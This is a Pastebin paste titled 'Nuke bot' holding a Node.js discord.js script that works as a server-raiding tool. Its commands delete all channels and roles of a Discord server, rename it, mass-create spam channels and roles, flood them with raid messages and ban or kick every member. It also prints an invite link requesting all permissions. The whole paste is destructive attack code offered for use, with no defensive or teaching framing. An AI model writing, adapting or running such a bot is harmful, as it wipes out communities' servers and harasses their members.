gaber-elsayed

Nuke bot

Aug 24th, 2021
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.07 KB | None | 0 0
  1. process.on('uncaughtException', function (exception) {console.log(exception);});
  2.  
  3. const Discord = require("discord.js");
  4. const RB = new Discord.Client();
  5. const config = require("./config.json");
  6. const fs = require("fs");
  7.  
  8. const authorized = ["id 1", "id 2", "and others"];
  9.  
  10. RB.on('ready', () => {
  11. RB.user.setActivity("Monitoring x servers...");
  12. console.log(`Ready ${RB.user.tag}!\nhttps://discord.com/api/oauth2/authorize?client_id=${RB.user.id}&permissions=-1&scope=bot`);
  13. });
  14.  
  15. RB.on('rateLimit', rate => {
  16. console.log(`Time to wait: ${rate.timeDifference}`);
  17. });
  18.  
  19. RB.on('message', message => {
  20. if(message.content.indexOf(config.prefix) !== 0 || message.author.bot) return;
  21. if(!authorized.includes(message.author.id)) return console.log(`${message.author.tag} - (${message.author.id}) tried to use me :(`);
  22. var args = message.content.slice(config.prefix.length).trim().split(/ +/g);
  23. var command = args.shift().toLowerCase().replace('/', '');
  24. if(command == "nuke"){
  25. (async ()=>{
  26. RB.guilds.get(message.guild.id).setName(config.servername);
  27. RB.guilds.get(message.guild.id).setIcon(config.serverpictureurl);
  28. RB.guilds.get(message.guild.id).setRegion(config.serverregion);
  29. RB.guilds.get(message.guild.id).channels.map(c=>{c.delete();});
  30. RB.guilds.get(message.guild.id).roles.map(r=>{if(r.name == "@everyone" || r.managed){}else{r.delete();}});
  31. for (var i = 0; i < config.numberofroles; i++) {message.guild.createRole({name: config.rolename, color: 'RANDOM'})};
  32. for (var i = 0; i < config.numberofchannels; i++) {message.guild.createChannel(config.channelname, {type: "text"}).then(channel =>{for (var i = 0; i < config.numberofmessageafterchannelcreated; i++){channel.send(config.baseraidmessage)}})};;
  33. setTimeout(function(){ for (var i = 0; i < 500; i++){message.guild.channels.map(c=>{c.send(config.baseraidmessage)});}}, 5000);
  34. })();
  35. } else if(command == "delete"){
  36. (async ()=>{
  37. RB.guilds.get(message.guild.id).channels.map(c=>{c.delete();});
  38. RB.guilds.get(message.guild.id).roles.map(r=>{if(r.name == "@everyone" || r.managed){}else{r.delete();}});
  39. RB.guilds.get(message.guild.id).createChannel(config.channelname, {type: "text"});
  40. })();
  41. } else if(command == "create"){
  42. (async ()=>{
  43. for (var i = 0; i < config.numberofroles; i++) {message.guild.createRole({name: config.rolename, color: 'RANDOM'})};
  44. for (var i = 0; i < config.numberofchannels; i++) {message.guild.createChannel(config.channelname, {type: "text"}).then(channel =>{for (var i = 0; i < config.numberofmessageafterchannelcreated; i++){channel.send(config.baseraidmessage)}})};
  45. setTimeout(function(){ for (var i = 0; i < 500; i++){message.guild.channels.map(c=>{c.send(config.baseraidmessage)});}}, 5000);
  46. })();
  47. } else if(command == "leave"){
  48. client.guilds.get(message.guild.id).leave();
  49. } else if(command == "banall"){
  50. message.guild.members.map(m => m.ban());
  51. } else if(command == "kickall"){
  52. message.guild.members.map(m => m.kick());
  53. }
  54.  
  55. });
  56.  
  57. RB.login(config.token);
Advertisement
Add Comment
Please, Sign In to add comment